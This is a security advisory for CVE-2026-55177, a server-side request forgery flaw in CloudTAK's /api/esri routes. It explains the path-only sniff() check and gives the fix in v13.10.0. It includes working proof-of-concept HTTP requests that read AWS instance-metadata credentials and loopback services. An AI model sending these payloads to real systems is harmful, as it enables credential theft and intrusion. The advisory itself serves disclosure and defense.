highCVE-2026-55177Jul 17, 2026

CVE-2026-55177: CloudTAK Authenticated Full-Read SSRF in /api/esri Routes

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any logged-in CloudTAK user can make the server fetch an arbitrary internal URL (cloud metadata, loopback ports, VPC services) through the ESRI helper routes, and read the full response back, because

Package@tak-ps/cloudtak
Ecosystemnpm
Affected< 13.10.0
Fixed in13.10.0

The problem

Every route in the `/api/esri*` family accepts a fully user-controlled URL from the request body or query string and passes it to `EsriBase` / `EsriProxy*` classes, which call the bare `fetch` from `@tak-ps/etl`. No IP or hostname classification runs before the request is issued.

The only inspection the URL receives is `EsriBase.sniff()`, which pattern-matches only the URL pathname for `/rest`, `/arcgis/rest`, or `/sharing/rest`. An attacker adds that suffix to any internal address and `sniff()` approves it. The response body is returned verbatim to the caller via `res.json()`, or reflected in the error string, making this a full-read (not blind) SSRF.

All six affected routes require only a valid user token (`anyResources: true`), not an admin role. This means any account can exploit the flaw.

Proof of concept

A working proof-of-concept for CVE-2026-55177 in @tak-ps/cloudtak, with the exact payload below.

http
# Variant 1: read AWS IMDSv1 credentials (full-read)
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest"}

# Variant 2: read an internal-only loopback service (full-read)
GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>

# Both return the upstream JSON body directly in the response.
# /arcgis/rest or /rest suffix satisfies sniff() path check; host is never validated.

The root cause is an incomplete SSRF-hardening migration. The repository already ships `isSafeUrl` from `@tak-ps/node-safeurl` and uses it in `basemap.ts`, `task.ts`, and `video-service.ts`, but the guard was never wired into `api/lib/esri.ts` or any of the six `/api/esri*` route handlers.

`sniff()` validates only the URL pathname, not the host, so appending `/rest` or `/arcgis/rest` to any private address bypasses the only pre-fetch check. The patch (commit `ff6dd1d9` on the advisory fork) centralizes a `safeFetch` wrapper and an `EsriBase.assertSafe` method inside `api/lib/esri.ts`, so every `EsriProxy*` call and every `fetchVersion()` / `generateToken()` call now runs `isSafeUrl` before the first outbound request.

The fix

Upgrade `@tak-ps/cloudtak` to **v13.10.0**. The fix adds a `safeFetch` wrapper and `EsriBase.assertSafe` in `api/lib/esri.ts` that call `isSafeUrl(...)` before every outbound fetch, blocking loopback, link-local, and private-range destinations. The same `process.env.StackName !== 'test'` skip used by other guarded paths is preserved.

Operators who cannot upgrade immediately should restrict access to the `/api/esri*` routes at the network layer and enforce IMDSv2 (token-required mode) on any cloud host running CloudTAK.

Reported by tonghuaroot.

References: [1][2][3]

Related research